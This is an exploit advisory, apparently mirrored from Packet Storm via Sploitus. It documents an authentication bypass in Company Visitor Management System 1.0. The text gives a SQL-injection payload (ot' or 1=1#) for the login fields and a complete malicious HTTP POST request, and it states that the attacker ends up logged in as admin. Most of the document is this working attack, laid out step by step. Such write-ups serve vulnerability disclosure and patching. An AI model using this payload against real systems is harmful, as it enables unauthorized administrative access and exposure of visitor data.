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## https://sploitus.com/exploit?id=PACKETSTORM:159582
# Exploit Title: Company Visitor Management System (CVMS) 1.0 - Authentication Bypass  
# Date: 16/10/2020  
# Exploit Author: Oğuz Türkgenç  
# Vendor Homepage: https://phpgurukul.com/company-visitor-management-system-using-php-and-mysql/  
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=9602  
# Version: 1.0  
# Tested On: Windows 7 Enterprise SP1 + XAMPP V3.2.3  
  
Step 1: Open the URL http://localhost/cvms/index.php  
  
Step 2: use payload ot' or 1=1# in user and password field  
  
Malicious Request  
  
POST /cvms/index.php HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://192.168.175.128/cvms/index.php  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 36  
Origin: http://localhost  
Connection: close  
Cookie: lang=english; PHPSESSID=qkg4nmdq97r4jkvkm4raa34660  
Upgrade-Insecure-Requests: 1  
  
username=ot%27+or+1%3D1+%23&password=ot%27+or+1%3D1+%23&login=  
  
Step 3: You will be logged in as admin.